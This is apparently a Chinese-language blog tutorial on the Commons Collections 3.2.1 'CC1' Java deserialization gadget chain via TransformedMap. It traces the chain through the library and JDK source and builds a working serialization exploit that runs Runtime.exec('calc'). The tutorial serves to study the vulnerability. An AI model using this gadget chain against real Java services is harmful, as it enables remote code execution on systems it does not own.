'Java反序列化-cc1-TransformedMap'

1、Apache Commons Collections包和简介

Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。

以下是Collections的包结构和简单介绍,如果你想了解更多的各个包下的接口和实现,请参考Apache Commons Collections 3.2.2 API文档

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

思路:由于Commons Collections包中都是集合类,并且可以接收任意对象作为参数。

2、环境配置

使用jdk:1.8u65

8u71之后已修复不可利用

安装maven

https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.zip
配个环境变量
maven -v 查看maven版本

idea设置

创建个maven项目。
使用idea->create new project->maven。

选中 Project Structure,修改 Modules

选择setting 设置 build --> complier --> java complier 把自己的项目设置version为8。

https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
复制cc 3.2.1版本的配置,到pom.xml中

1
2
3
4
5
6
7
8
9
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

配置idea maven build

配置maven settings.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//镜像部分
<mirrors>
<!-- 设置多个镜像只会识别第一个镜像下载 jar 包-->
<mirror>
<!-- 该镜像的唯一标识符。id 用来区分不同的 mirror 元素 -->
<id>aliyunmaven</id>
<!-- 被镜像的服务器的 id。如果我们要设置了一个 maven 中央仓库(http://repo.maven.apache.org/maven2/)的镜像,就需要将该元素设置成 central。
可以使用 * 表示任意远程库。例如:external:* 表示任何不在 localhost 和文件系统中的远程库,r1,r2 表示 r1 库或者 r2 库,*,!r1 表示除了 r1 库之外的任何远程库 -->
<mirrorOf>*</mirrorOf>
<!-- 镜像名称 -->
<name>阿里云公共仓库</name>
<!-- 镜像的 URL -->
<url>https://maven.aliyun.com/repository/public</url>
</mirror>
</mirrors>

//添加本地仓库路径
<localRepository>F:\code\repository</localRepository>

更新dependencies(reimport)

下载源文件

测试加载类,可正常加载
import org.apache.commons.collections.functors.InvokerTransformer;

我们还要做一件事,修改 sun 包。(java安全-环境,这篇文章中已经说过)

因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件。

解压jdk1.8.0_65中的src.zip
将sun放到src中即可

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/af660750b2f4

src/share/classes/sun

3、攻击链

(1)、寻找尾部危险方法(反射/动态加载字节码)

作者是发现了在org.apache.commons.collections.functors包中的Transformer类。
Transformer类中的Transformer的实现类
快捷键 crtl alt B

InvokerTransformer类中的transform

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);

} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

写的非常像后门,getClass加载类,然后getMethod获取方法,invoke反射调用。

演示一个标准的通过反射调用runtime的方法:

1
2
3
4
Runtime runtime = Runtime.getRuntime();
Class<? extends Runtime> aClass = runtime.getClass();
Method execMethod = aClass.getMethod("exec", String.class);
execMethod.invoke(runtime,"calc");

写成InvokerTransformer类的transform写法。

1
2
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

现在我们找到了调用危险方法的地方,所以准备反推

(2)、初步寻找链子

危险方法(反射/动态加载字节码)(cc1-TransformedMap这里用的是反射) --> InvokerTransformer.transform --> O2.transform(O.aaa) --> A.readObject(O.aaa)

Ctrl+Shift+Alt+F7
设置usages,project and libraries。

例如cc包的map包中LazyMap类调用了transform方法,这时思路如下:
InvokerTransformer.transform -->LazyMap.transform(O.get) --> A.readObject(O.get)

最终找到
TransformedMap类中存在checkSetValue()方法调用了transform()方法

接下来我们去看一看valueTransformer.checkSetValue的valueTransformer
跟进方法
因为TransformedMap的构造方法作用域是protected,我们还需要去找一找谁调用了TransformedMap的构造方法。
在decorate()静态方法中创建了TransformedMap对象

到这一步,尝试将其作为链子的开头,编写 POC

1
2
3
4
5
6
7
8
Runtime runtime = Runtime.getRuntime();
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashmap = new HashMap<>();
Map decoratemap = TransformedMap.decorate(hashmap, null, exec);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValuemethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValuemethod.setAccessible(true);
checkSetValuemethod.invoke(decoratemap,runtime);

解释流程:
先实例化个runtime,实例化InvokerTransformer加载执行命令,然后下一步肯定是调用.transform。
创建个hashmap,利用TransformedMap.decorate添加对象,加载exec方法
实例化TransformedMap对象,然后调用checkSetValue方法,修改权限,利用invoke加载runtime执行命令

(3)、完整链子

目前找到的链子位于checkSetValue当中,去找.decorate的链子,发现无法进一步前进了,所以我们回到checkSetValue重新找链子。
继续find usages,找到了parent.checkSetValue(value);调用了checkSetValue

并且,此类是TransformedMap的父类

调用checkSetValue方法的类是AbstractInputCheckedMapDecorator类中的一个内部类MapEntry

setValue()**实际上就是在 Map 中对一组 entry(键值对)**进行setValue()操作。

所以,我们在进行.decorate方法调用,进行 Map 遍历的时候,就会走到setValue()当中,而setValue()就会调用checkSetValue

跟进Abstractinputcheckedmapdecorator setValue,到继承类AbstractMapEntryDecorator setValue

再到Map 的 setValue

所以,我们在进行.decorate方法调用,进行 Map 遍历的时候,就会走到setValue()当中,而setValue()就会调用checkSetValue

演示代码如下:

1
2
3
4
5
6
7
8
9
10
11
        Runtime runtime = Runtime.getRuntime();
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashmap = new HashMap<>();
hashmap.put("key", "value");
Map<Object,Object> decoratemap = TransformedMap.decorate(hashmap, null, exec);
// Class<TransformedMap> transformedMapClass = TransformedMap.class;
// Method checkSetValuemethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
for (Map.Entry entry:decoratemap.entrySet()){
entry.setValue(runtime);
}

总结:遍历一个Map最终执行setValue()方法

(4)、找readObject

之前链子是到setValue的,所以我们在setValue处,find usages
查询所有地方

找到AnnotationInvocationHandler类,InvocationHandler这个后缀,我在基础篇-动态代理里面提到过,是用做动态代理中间处理,因为它继承了InvocationHandler接口。

要调用setValue()方法,我们需要完成几个条件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

遍历map功能
1、成员变量memberType不为null,成员变量存在
2、memberType类型
3、最终调用memberValue.setValue

看一下AnnotationInvocationHandler传参

写poc

此时理想情况下的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
Runtime runtime = Runtime.getRuntime();
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashmap = new HashMap<Object, Object>();
hashmap.put("key", "value");
Map<Object,Object> decorateTransformedmap = TransformedMap.decorate(hashmap, null, exec);

Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationdeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
AnnotationdeclaredConstructor.setAccessible(true);
Object o = AnnotationdeclaredConstructor.newInstance(Override.class, decorateTransformedmap);
serialize(o);
unserialization("./2.ser");

通过反射方式实例化AnnotationInvocationHandler,设置权限,加载构造类,加载 注解类,decorateTransformedmap。
decorateTransformedmap去调用hashmap和exec执行命令。

问题

1、Runtime对象不可序列化,需要通过反射将其变成可以序列化的形式。
可以看到下图:runtime没有继承Serializable类

2、解决setValue的两个if判断
3、setValue()的传参,是需要传Runtime对象的;而在实际情况当中的setValue()的传参是这个东西,如下图:

解决问题1

runtime对象虽然不能进行序列化,但是class是可以序列化的。查看Class代码如下:

1
2
3
4
5
6
public final class Class<T> implements java.io.Serializable,


public static Runtime getRuntime() {
return currentRuntime;
}

调用runtime class类
利用反射获取getRuntime方法,再获取exec方法,然后反射调用exec
所以代码如下:

1
2
3
4
5
Class cclas = Runtime.class;
Method getRuntimemethod = cclas.getMethod("getRuntime", null);
Runtime r = (Runtime) getRuntimemethod.invoke(null, null);
Method execMethod = cclas.getMethod("exec", String.class);
execMethod.invoke(r,"calc");

我们将这个反射的Runtime改造为使用InvokerTransformer调用的方式。

1
2
3
4
Method getRuntimeMethod = (Method)new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

可以看到他是transform的循环利用,即前一个值作为后一个的参数。
所以想到了ChainedTransformer类,作用如下:

列表中的所有元素都要实现 Transformer 接口,同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}


public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

修改后的代码

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);

再把它与decorate的链子结合一下

解决问题2 进入到 setValue 方法

断点追踪,name为key,搜索为null

无法进入Object value = memberValue.getValue();
直接跳出方法。

序列化时,跳入AnnotationInvocationHandler readObject方法,
annotationType = AnnotationType.getInstance(type);
type为我们传入的override

annotationType.memberTypes();
获取成员变量

memberTypes.get(name);
获取成员变量的名字

hashmap.put(“key”, “value”);
也就是说在 override中找key。
但是override中没有key,所以为null

解决此问题:
找有成员方法的class。
比如Target

此时符合第一个if了
能够进入到memberValue.setValue

追踪setValue
step into

1
2
3
4
5
6
7
8
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}

protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}

这里的valueTransformer.transform(value)
继续追踪,发现其实也就相当于
ChainedTransformer.transform

发现value为AnnotationTypeMismatchExceptionProxy

解决问题3 载入runtime类

此时我们想到ConstantTransformer方法
作用:调用transform方法时会直接返回构造函数中传入的对象

1
2
3
4
5
6
7
8
9
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}


public Object transform(Object input) {
return iConstant;
}

所以直接利用此方法,调用runtime的class

new ConstantTransformer(Runtime.class)

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);


HashMap<Object, Object> hashmap = new HashMap<Object, Object>();
hashmap.put("value", "testc");
Map<Object,Object> decorateTransformedmap = TransformedMap.decorate(hashmap, null, chainedTransformer);



Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> AnnotationdeclaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
AnnotationdeclaredConstructor.setAccessible(true);
Object o = AnnotationdeclaredConstructor.newInstance(Target.class, decorateTransformedmap);
serialize(o);
unserialization("./2.ser");

总体利用链

1
2
3
4
AnnotationInvocationHandler readObject() --> memberValue.setValue() --> checkSetValue

AbstractInputCheckedMapDecorator checkSetValue() --> transformedMap checkSetValue()-->ChainedTransformer transform() --> ConstantTransformer transform() -->InvokerTransformer transform() --> runtime.exec

可能遇到的报错

1、Error:java: Compilation failed: internal java compiler error

解决方案
Target bytecode version改为8

2、老问题:找不到sun包

find usages,找setValue的时候,找不到
sun\reflect\annotation AnnotationInvocationHandler.java

File -> Project Structure --> SDKs中对应jdk --> Sourcepath下添加我们openjdk的zip包(或者加了sun包的原始jdk src)

重新加载src文件夹,或者直接导入openjdk的zip

3、idea自动导包

报错: 不兼容的类型: org.apache.commons.collections.functors.InvokerTransformer无法转换为javax.xml.transform.Transformer

解决方法:
删除自动导入的包
import javax.xml.transform.Transformer;
手动导入如下包:
import org.apache.commons.collections.Transformer;